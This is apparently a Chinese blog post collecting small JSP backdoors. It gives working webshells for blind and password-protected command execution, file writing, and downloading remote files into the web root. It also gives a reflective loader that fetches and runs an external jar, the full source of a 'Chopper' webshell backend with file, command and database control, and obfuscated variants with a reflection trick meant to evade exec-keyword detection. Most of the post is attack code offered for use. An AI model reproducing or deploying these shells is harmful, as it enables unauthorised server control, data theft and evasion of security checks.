jsp小后门
Posted 有梦就能实现
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一：执行系统命令:
无回显执行系统命令：
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<%Runtime.getRuntime().exec(request.getParameter("i"));%> |
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显，用来反弹个shell很方便。 有回显带密码验证的:
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<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); } out.print("</pre>"); }%> |
请求：http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
二、把字符串编码后写入指定文件的：
1:
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<%new java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> |
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录：
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<%new java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> |
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2:
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<%new java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> |
请求：http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 写入web目录:
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<%new java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> |
请求：http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 三：下载远程文件(不用apache io utils的话没办法把inputstream转byte,所以很长...)
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<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(request.getParameter("f")).write(baos.toByteArray()); %> |
请求：http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png
下载到web路径:
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<% java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray()); %> |
请求：http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png
四：反射调用外部jar,完美后门
如果嫌弃上面的后门功能太弱太陈旧可以试试这个：
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<%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{request.getParameterMap()})%> |
请求：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar&023=A 
菜刀连接：http://192.168.16.240:8080/Shell/reflect.jsp?u=http://javaweb.org/Cat.jar，密码023. 
解： 利用反射加载一个外部的jar到当前应用，反射执行输出处理结果。request.getParameterMap()包含了请求的所有参数。由于加载的是外部的jar包，所以要求服务器必须能访问到这个jar地址。 下载：Cat.jar Load代码：
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import java.io.IOException;import java.util.HashMap;import java.util.Map;import java.util.Map.Entry;/* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. *//** * * @author yz */public class Load { public static String load(Map<string,string[]> map){ try { Map<string,string> request = new HashMap<string,string>(); for (Entry<string, string[]=""> entrySet : map.entrySet()) { String key = entrySet.getKey(); String value = entrySet.getValue()[0]; request.put(key, value); } return new Chopper().doPost(request); } catch (IOException ex) { return ex.toString(); } }}</string,></string,string></string,string></string,string[]> |
Chopper代码：
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import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.ByteArrayOutputStream;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;import java.io.OutputStreamWriter;import java.lang.reflect.Method;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLClassLoader;import java.sql.Connection;import java.sql.DriverManager;import java.sql.ResultSet;import java.sql.ResultSetMetaData;import java.sql.Statement;import java.text.SimpleDateFormat;import java.util.Date;import java.util.Map;public class Chopper{ public static String getPassword() throws IOException { return "023"; } String cs = "UTF-8"; String encoding(String s) throws Exception { return new String(s.getBytes("ISO-8859-1"), cs); } Connection getConnection(String s) throws Exception { String[] x = s.trim().split("\r\n"); try { Class.forName(x[0].trim()); } catch (ClassNotFoundException e) { boolean classNotFound = true; BufferedReader br = new BufferedReader(new InputStreamReader(this.getClass().getResourceAsStream("/map.txt"))); String str = ""; while ((str = br.readLine()) != null) { String[] arr = str.split("="); if (arr.length == 2 && arr[0].trim().equals(x[0].trim())) { try { URLClassLoader ucl = (URLClassLoader) ClassLoader.getSystemClassLoader(); Method m = URLClassLoader.class.getDeclaredMethod("addURL", URL.class); m.setAccessible(true); m.invoke(ucl, new Object[]{new URL(arr[1])}); Class.forName(arr[0].trim()); classNotFound = false; break; } catch (ClassNotFoundException ex) { throw ex; } } } if (classNotFound) { throw e; } } if (x[1].contains("jdbc:oracle")) { return DriverManager.getConnection(x[1].trim() + ":" + x[4], x[2].equalsIgnoreCase("[/null]") ? "" : x[2], x[3].equalsIgnoreCase("[/null]") ? "" : x[3]); } else { Connection c = DriverManager.getConnection(x[1].trim(), x[2].equalsIgnoreCase("[/null]") ? "" : x[2], x[3].equalsIgnoreCase("[/null]") ? "" : x[3]); if (x.length > 4) { c.setCatalog(x[4]); } return c; } } void listRoots(ByteArrayOutputStream out) throws Exception { File r[] = File.listRoots(); for (File f : r) { out.write((f.getName()).getBytes(cs)); } } void dir(String s, ByteArrayOutputStream out) throws Exception { File l[] = new File(s).listFiles(); for (File f : l) { String mt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date(f.lastModified())); String rw = f.canRead() ? "R" : "" + (f.canWrite() ? " W" : ""); out.write((f.getName() + (f.isDirectory() ? "/" : "") + "\t" + mt + "\t" + f.length() + "\t" + rw + "\n").getBytes(cs)); } } void deleteFiles(File f) throws Exception { if (f.isDirectory()) { File x[] = f.listFiles(); for (File fs : x) { deleteFiles(fs); } } f.delete(); } byte[] readFile(String s) throws Exception { int n; byte[] b = new byte[1024]; BufferedInputStream bis = new BufferedInputStream(new FileInputStream(s)); ByteArrayOutputStream bos = new ByteArrayOutputStream(); while ((n = bis.read(b)) != -1) { bos.write(b, 0, n); } bis.close(); return bos.toByteArray(); } void upload(String s, String d) throws Exception { String h = "0123456789ABCDEF"; File f = new File(s); f.createNewFile(); FileOutputStream os = new FileOutputStream(f); for (int i = 0; i < d.length(); i += 2) { os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1)))); } os.close(); } void filesMove(File sf, File df) throws Exception { if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (File z1 : z) { filesMove(new File(sf, z1.getName()), new File(df, z1.getName())); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void fileMove(File s, File d) throws Exception { s.renameTo(d); } void mkdir(File s) throws Exception { s.mkdir(); } void setLastModified(File s, String t) throws Exception { s.setLastModified(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").parse(t).getTime()); } void downloadRemoteFile(String s, String d) throws Exception { int n = 0; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) new URL(s).openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[1024]; while ((n = is.read(b)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void inputStreamToOutPutStream(InputStream is, ByteArrayOutputStream out) throws Exception { int i = -1; byte[] b = new byte[1024]; while ((i = is.read(b)) != -1) { out.write(b, 0, i); } } void getCurrentDB(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); ResultSet r = s.contains("jdbc:oracle") ? c.getMetaData().getSchemas() : c.getMetaData().getCatalogs(); while (r.next()) { out.write((r.getObject(1) + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableName(String s, ByteArrayOutputStream out) throws Exception { Connection c = getConnection(s); String[] x = s.trim().split("\r\n"); ResultSet r = c.getMetaData().getTables(null, s.contains("jdbc:oracle") ? x.length > 5 ? x[5] : x[4] : null, "%", new String[]{"TABLE"}); while (r.next()) { out.write((r.getObject("TABLE_NAME") + "\t").getBytes(cs)); } r.close(); c.close(); } void getTableColumn(String s, ByteArrayOutputStream out) throws Exception { String[] x = s.trim().split("\r\n"); Connection c = getConnection(s); ResultSet r = c.prepareStatement("select * from " + x[x.length - 1]).executeQuery(); ResultSetMetaData d = r.getMetaData(); for (int i = 1; i <= d.getColumnCount(); i++) { out.write((d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t").getBytes(cs)); } r.close(); c.close(); } void executeQuery(String cs, String s, String q, ByteArrayOutputStream out, String p) throws Exception { Connection c = getConnection(s); Statement m = c.createStatement(1005, 1008); BufferedWriter bw = null; try { boolean f = q.contains("--f:"); ResultSet r = m.executeQuery(f ? q.substring(0, q.indexOf("--f:")) : q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (int i = 1; i <= n; i++) { out.write((d.getColumnName(i) + "\t|\t").getBytes(cs)); } out.write(("\r\n").getBytes(cs)); if (f) { File file = new File(p); if (!q.contains("-to:")) { file.mkdir(); } bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.contains("-to:") ? p.trim() : p + q.substring(q.indexOf("--f:") + 4, q.length()).trim()), true), cs)); } while (r.next()) { for (int i = 1; i <= n; i++) { if (f) { bw.write(r.getObject(i) + "" + "\t"); bw.flush(); } else { out.write((r.getObject(i) + "" + "\t|\t").getBytes(cs)); } } if (bw != null) { bw.newLine(); } out.write(("\r\n").getBytes(cs)); } r.close(); if (bw != null) { bw.close(); } } catch (Exception e) { out.write(("Result\t|\t\r\n").getBytes(cs)); try { m.executeUpdate(q); out.write(("Execute Successfully!\t|\t\r\n").getBytes(cs)); } catch (Exception ee) { out.write((ee.toString() + "\t|\t\r\n").getBytes(cs)); } } m.close(); c.close(); } public String doPost(Map<string,string>request) throws IOException { cs = request.get("z0") != null ? request.get("z0") + "" : cs; ByteArrayOutputStream out = new ByteArrayOutputStream(); try { char z = (char) request.get(getPassword()).getBytes()[0]; String z1 = encoding(request.get("z1") + ""); String z2 = encoding(request.get("z2") + ""); out.write("->|".getBytes(cs)); String s = new File("").getCanonicalPath(); byte[] returnTrue = "1".getBytes(cs); switch (z) { case ‘A‘: out.write((s + "\t").getBytes(cs)); if (!s.substring(0, 1).equals("/")) { listRoots(out); } break; case ‘B‘: dir(z1, out); break; case ‘C‘: String l = ""; BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); while ((l = br.readLine()) != null) { out.write((l + "\r\n").getBytes(cs)); } br.close(); break; case ‘D‘: BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); bw.write(z2); bw.flush(); bw.close(); out.write(returnTrue); break; case ‘E‘: deleteFiles(new File(z1)); out.write("1".getBytes(cs)); break; case ‘F‘: out.write(readFile(z1)); case ‘G‘: upload(z1, z2); out.write(returnTrue); break; case ‘H‘: filesMove(new File(z1), new File(z2)); out.write(returnTrue); break; case ‘I‘: fileMove(new File(z1), new File(z2)); out.write(returnTrue); break; case ‘J‘: mkdir(new File(z1)); out.write(returnTrue); break; case ‘K‘: setLastModified(new File(z1), z2); out.write(returnTrue); break; case ‘L‘: downloadRemoteFile(z1, z2); out.write(returnTrue); break; case ‘M‘: String[] c = {z1.substring(2), z1.substring(0, 2), z2}; Process p = Runtime.getRuntime().exec(c); inputStreamToOutPutStream(p.getInputStream(), out); inputStreamToOutPutStream(p.getErrorStream(), out); break; case ‘N‘: getCurrentDB(z1, out); break; case ‘O‘: getTableName(z1, out); break; case ‘P‘: getTableColumn(z1, out); break; case ‘Q‘: executeQuery(cs, z1, z2, out, z2.contains("-to:") ? z2.substring(z2.indexOf("-to:") + 4, z2.length()) : s.replaceAll("\\\\", "/") + "images/"); break; } } catch (Exception e) { out.write(("ERROR" + ":// " + e.toString()).getBytes(cs)); } out.write(("|<-").getBytes(cs)); return new String(out.toByteArray()); } }</string,string> |
map.txt:
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oracle.jdbc.driver.OracleDriver=http://javaweb.org/jdbc/classes12.jarcom.mysql.jdbc.Driver=http://javaweb.org/jdbc/mysql-connector-java-5.1.14-bin.jarcom.microsoft.jdbc.sqlserver.SQLServerDriver=http://javaweb.org/jdbc/sqlserver2000/msbase.jar,http://javaweb.org/jdbc/sqlserver2000/mssqlserver.jar,http://javaweb.org/jdbc/sqlserver2000/msutil.jarcom.microsoft.sqlserver.jdbc.SQLServerDriver=http://javaweb.org/jdbc/sqljdbc4.jarcom.ibm.db2.jcc.DB2Driver=http://javaweb.org/jdbc/db2java.jarcom.informix.jdbc.IfxDriver=http://javaweb.org/jdbc/ifxjdbc.jarcom.sybase.jdbc3.jdbc.SybDriver=http://javaweb.org/jdbc/jconn3d.jarorg.postgresql.Driver=http://javaweb.org/jdbc/postgresql-9.2-1003.jdbc4.jarcom.ncr.teradata.TeraDriver=http://javaweb.org/jdbc/teradata-jdbc4-14.00.00.04.jarcom.hxtt.sql.access.AccessDriver=http://javaweb.org/jdbc/Access_JDBC30.jarorg.apache.derby.jdbc.ClientDriver=http://javaweb.org/jdbc/derby.jarorg.hsqldb.jdbcDriver=http://javaweb.org/jdbc/hsqldb.jarnet.sourceforge.jtds.jdbc.Driver=http://javaweb.org/jdbc/jtds-1.2.5.jarmongodb=http://javaweb.org/jdbc/mongo-java-driver-2.9.3.jar |
无任何命令执行关键字的cmd.zip
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<jsp:scriptlet> Class<?> api = String.class.getClass().forName(new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101})); Object obj2 = api.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class).invoke(api.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101})).invoke(null, new Object[]{}), new Object[]{request.getParameter("str")}); java.lang.reflect.Method m = obj2.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109})); m.setAccessible(true); java.util.Scanner s = new java.util.Scanner((java.io.InputStream) m.invoke(obj2, new Object[]{})).useDelimiter("\\A"); out.write("<pre>" + (s.hasNext() ? s.next() : "") + "</pre>"); </jsp:scriptlet></jsp:root> |
绕过exec关键字很简单，如果是纯代码检测用这个无任何命令执行关键字的命令执行jspx(参数str): cmd.jspx.zip 如果是语言层拦截了exec，那么可以通过反射java.lang.UNIXProcess类实现执行任意的命令。示例代码如下:
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Class clazz = Class.forName("java.lang.ProcessImpl");Constructor constructor = clazz.getDeclaredConstructors()[0];constructor.setAccessible(true);Process process = (Process) constructor.newInstance( toCString(cmdarray[0]), argBlock, args.length, null, envc[0], null, std_fds, false); |
如果不会写，自己参考"UNIXProcess.java"的代码就可以了。
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